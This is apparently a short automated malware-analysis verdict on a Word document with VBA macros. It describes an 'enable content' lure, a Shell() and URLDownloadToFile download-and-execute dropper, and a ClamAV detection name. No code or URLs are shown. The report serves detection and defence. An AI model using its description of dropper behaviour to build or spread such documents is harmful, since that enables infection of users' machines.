The sample is an OOXML document containing VBA macros that instruct the user to enable content, a common lure. The VBA code utilizes Shell() and URLDownloadToFile functions, indicating it downloads and executes a second-stage payload. ClamAV detection as 'Doc.Dropper.Agent-7402850-0' further supports its malicious nature as a dropper.

  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
